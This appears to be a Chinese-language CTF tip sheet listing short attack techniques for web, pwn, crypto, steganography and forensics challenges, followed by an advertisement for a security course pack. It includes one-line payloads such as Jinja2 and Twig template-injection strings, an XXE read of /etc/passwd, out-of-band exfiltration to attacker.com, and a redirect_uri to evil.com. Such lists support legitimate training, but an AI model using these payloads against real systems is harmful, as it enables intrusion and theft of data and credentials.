CTF竞赛的核心逻辑
-
• 核心目标:快速拆解问题(Flag导向)、工具链协作、模式化思维。
-
• 关键原则:先广度后深度(优先收集信息)、分治策略(拆解复杂任务)。
第一部分:Web安全(15个思路)
-
• 使用/*!50000注释*/混淆SQL语句(MySQL特性)。
-
• 利用CONCAT(CHAR(115),CHAR(101))代替明文字符串。
-
• Flask/Jinja2中通过{{''.__class__.__mro__[1].__subclasses__()}}获取危险类。
-
• Twig模板使用{{_self.env.registerUndefinedFilterCallback("exec")}}执行命令。
-
• PHP伪协议php://input读取POST原始数据,写入Webshell。
-
• 利用logrotate日志文件包含(如/proc/self/environ泄露路径)。
-
• 修改Header中alg为none(需删除签名字段)。
-
• 暴力破解弱密钥(工具:hashcat -m 16500)。
-
• 通过<!ENTITY xxe SYSTEM "file:///etc/passwd">读取系统文件。
-
• 外带数据利用(OOB):http://attacker.com/?data=%xxe;。
- • 构造自动提交表单的恶意页面,利用<img src="[URL]">触发请求。
- • 利用gopher://协议攻击Redis未授权访问,写入SSH密钥。
-
• PHP中利用__destruct()或__wakeup()魔术方法触发链。
-
• Java Commons-Collections利用InvokerTransformer执行命令。
- • Flask的Session签名伪造:通过已知密钥生成恶意Cookie(工具:flask-unsign)。
- • 修改请求头Origin: target.com欺骗服务器返回敏感数据。
- • 利用Transfer-Encoding: chunked与Content-Length冲突绕过网关。
- • 使用….//或%2e%2e%2f绕过路径过滤。
- • 篡改X-Forwarded-Host头注入恶意内容到缓存页面。
- • 伪造回调URL窃取授权码(如redirect_uri=http://evil.com)。
- • 利用<link rel="prefetch" href="secret.php">窃取登录态。
第二部分:逆向工程与PWN(12个思路)
- • IDA中搜索字符串"flag"或"correct"定位关键逻辑。
- • 计算偏移量(cyclic 200生成字符串 + dmesg查看崩溃地址)。
- • 利用%n向任意地址写入数据(如修改GOT表)。
- • 释放后重用(UAF)修改虚表指针劫持控制流。
- • 使用ROPgadget –binary ./pwn提取可用指令片段。
- • 修改/proc/self/status中的TracerPid字段欺骗检查。
- • 使用LD_PRELOAD劫持strcmp()函数绕过密码校验。
- • 生成无空字符的Shellcode(msfvenom -b '\\x00')。
- • 触发符号错误(如size = -1绕过长度检查)。
- • 自动化求解路径约束(示例:破解CTF中的“迷宫”题)。
- • 使用Binary Ninja修改跳转条件(如jz → jnz)。
- • 通过时间差判断密码正确性(如逐字符爆破)。
第三部分:密码学与隐写术(13个思路)
- • Base64(末尾=)、Base32(全大写字母)、Base58(无0/O/I/l)。
- • 当e=3且明文较短时,直接对密文开立方。
- • 相同明文加密后,通过扩展欧几里得算法恢复明文。
- • 利用SHA1/MD5的填充机制伪造合法签名(工具:hash_extender)。
- • 5位二进制模式(A=AAAAA, B=AAAAB…)。
- • 英文单表替换密码中统计高频字母(如E、T、A)。
- • 使用Stegsolve.jar分析图片RGB最低位。
- • Audacity查看频谱图,寻找摩尔斯电码或二进制波形。
- • 修改ZIP文件头加密标记位(工具:zipdetails分析结构)。
- • 使用pdftotext提取隐藏文本,或检查对象流(/FlateDecode)。
- • 使用dir /R查看ADS(Alternate Data Stream)。
- • 手动修复文件头(89 50 4E 47 0D 0A 1A 0A)和CRC校验。
- • 使用zbarimg扫描模糊或残缺二维码。
第四部分:MISC与编程(10个思路)
- • Python脚本批量处理Hex/Base85/URL编码。
- • 过滤HTTP流:http.request.method == "POST"。
- • 提取进程列表:volatility -f dump.raw pslist。
- • 通过WHOIS查询域名注册人邮箱。
- • 使用grep -oE 'flag{[a-zA-Z0-9_]+}'快速匹配Flag格式。
- • 编写Python脚本结合requests与延时判断逐字符爆破。
- • 访问/.git/HEAD确认存在,使用git-dumper恢复源码。
- • 分析长域名请求(如abcd1234.evil.com携带Base64数据)。
- • 解压XLSM文件,检查vbaProject.bin中的恶意宏。
- • 使用qpdf –stream-data=uncompress解压对象流。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取




